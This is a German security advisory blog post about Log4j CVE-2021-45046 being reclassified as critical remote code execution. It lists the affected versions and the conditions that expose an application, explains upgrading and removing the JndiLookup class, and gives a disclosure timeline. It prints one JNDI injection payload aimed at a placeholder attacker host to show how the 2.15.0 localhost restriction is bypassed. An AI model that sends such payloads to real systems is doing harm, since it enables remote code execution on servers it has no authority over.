Log4j 2.15: Schwachstelle CVE-2021-45046 zu kritischer Schwachstelle für beliebige Codeausführung hochgestuft

Hinweis der Redaktion (28. Dez. 2021, 19:35 Uhr GMT): Das Log4j-Team hat ein neues Sicherheitsupdate veröffentlicht. Darin wurde festgestellt, dass Version 2.17.0 für Remote Code Execution anfällig ist (CVE-2021-44832). Wir empfehlen Ihnen, auf die neueste Version zu aktualisieren, die derzeit 2.17.1 ist. Mehr dazu hier.

Hinweis der Redaktion (18. Dez. 2021, 18:55 Uhr GMT): Die Situation rund um Log4j entwickelt sich schnell. Wir aktualisieren unsere Blogs, sobald neue Informationen verfügbar sind. Wir empfehlen Ihnen, auf Version 2.17.0 oder höher zu aktualisieren. Diese Version enthält Sicherheitskorrekturen für zwei Schwachstellen zur Remote Code Execution, die in 2.15.0 (CVE-2021-44228) und 2.16.0 (CVE-2021-45046) behoben wurden, sowie für die neueste DoS-Schwachstelle, die in 2.17.0 behoben wurde (CVE-2021-45105). Mehr dazu hier.

Es wurde entdeckt, dass Log4j Version 2.15.0 unter bestimmten Umständen weiterhin für einen Angriff zur beliebigen Codeausführung anfällig ist. Aktualisieren Sie auf Version 2.16.0 oder höher, um Ihre Anwendungen vor CVE-2021-44228 und CVE-2021-45046zu schützen.

Die neueste veröffentlichte Schwachstelle in Log4j 2 (CVE-2021-45046), die ursprünglich als Denial-of-Service-Schwachstelle mit niedriger Schwere und einem CVSS-Score von 3,7 eingestuft wurde, ist nun zu einer Schwachstelle mit hoher Schwere für beliebige Codeausführung und einem CVSS-Score von 9,0 hochgestuft worden. Das bedeutet außerdem, dass Log4j Version 2.15.0, die zuvor als sicher vor beliebiger Codeausführung galt, jetzt unter bestimmten Bedingungen ausgenutzt werden kann.

Ein Angreifer kann die in Version 2.15.0 implementierte Schutzmaßnahme umgehen, die JNDI-Lookups auf localhost beschränkt: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.

Wir empfehlen Ihnen, auf Version 2.16.0 zu aktualisieren, in der JNDI-Lookups standardmäßig vollständig deaktiviert sind. Wenn ein Upgrade nicht möglich ist, lässt sich das Problem in früheren Versionen beheben, indem Sie die Klasse JndiLookup aus dem Classpath entfernen (Beispiel: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

Bin ich von der hochgestuften Schwachstelle betroffen?

Ihre Anwendung ist anfällig, wenn Sie eine der betroffenen Versionen des Log4j-Pakets ausführen (von 2.0-beta9 bis 2.15.0, ausgenommen 2.12.2) und mindestens eine der folgenden Bedingungen erfüllen:

1. Die Logging-Konfiguration aktiviert Lookups ausdrücklich – entweder standardmäßig (bei einer Version unter 2.15.0) oder manuell durch Verwendung von %m{lookups}, da formatMsgNoLookups ab Version 2.15.0 standardmäßig aktiviert ist.

2. Verwendet ein vom Standard abweichendes Pattern Layout mit Context Lookup, bei dem Angreifer Eingabedaten über die Thread Context Map (MDC) kontrollieren können.

3. Verwendet die Funktion Logger.printf("%s", userInput), bei der Angreifer die Variable userInput kontrollieren können.

WICHTIGER HINWEIS: Sie müssen sowohl Ihren Quellcode als auch Ihre Laufzeitinstanzen überprüfen, um sicherzustellen, dass keine der oben genannten Bedingungen auf Sie zutrifft. Das ist keine einfache Aufgabe. Wenn Sie unsicher sind, sollten Sie davon ausgehen, dass Sie potenziell gefährdet sind.

Was Sie jetzt tun müssen

HANDELN SIE JETZT! Aktualisieren Sie umgehend auf Version 2.16.0 oder höher, um dieses Problem zu beheben. Dies ist derzeit die sicherste verfügbare Version, die vor beiden kürzlich veröffentlichten Log4j-Schwachstellen schützt (CVE-2021-44228 und CVE-2021-45046).

Auf unserer Log4j-Ressourcenseite finden Sie alle aktuellen Blogs und Videos sowie diesen einseitigen Spickzettel zur Behebung von Log4Shell.

Zeitlicher Verlauf der Log4j-Schwachstellen (CVE-2021-44228 und CVE-2021-45046)

• 18. Juli 2013 – Der Code, der JNDI-Lookups und die Schwachstelle einführt, wird eingereicht

• 24. November 2021 – Das Alibaba Security Research-Team informiert Apache vertraulich über die Schwachstelle

• 29. November – Apache beginnt mit der Arbeit an einem neuen Release (2.15.0) mit einer Sicherheitskorrektur

• 1. Dezember – Erste rudimentäre Exploit-Versuche werden in freier Wildbahn beobachtet

• 5. Dezember – Alle Korrekturen werden in den Master-Branch übernommen

• 9. Dezember – Ein GitHub-Nutzer äußert den Verdacht, dass die Korrektur mit einer Sicherheitslücke zusammenhängt

• 9. Dezember – Ein Nutzer erstellt im Repository google/tsunami-security-scanner-plugins ein GitHub-Issue und weist auf die RCE-Schwachstelle in Log4j hin

• 9. Dezember – Ein Nutzer namens p0rz9 macht das Issue in einem Tweet inoffiziell öffentlich.

• 9. Dezember – Ein PoC wird auf GitHub veröffentlicht

• 10. Dezember – Das Problem wird „offiziell“ veröffentlicht und erhält eine CVE-Nummer (die CVE ist noch nicht bei MITRE veröffentlicht). Die korrigierte Version 2.15.0 wird veröffentlicht.

• 10. Dezember – CVE-Eintrag bei MITRE aktualisiert und zugewiesen (CVE-2021-44228)

• 10. Dezember – Einstufung als kritische Schwachstelle in Snyk SCA ergänzt (CVE-2021-44228)

• 13. Dezember – Sicherheitswarnung zu einer Schwachstelle mit mittlerer Schwere in Version 1.x (CVE-2021-4104)

• 14. Dezember – DoS-Schwachstelle mit mittlerer Schwere in Version 2.15 entdeckt (CVE-2021-45046)

• 17. Dezember – CVE-2021-45046 wird zu einer kritischen Schwachstelle hochgestuft und als beliebige Codeausführung neu kategorisiert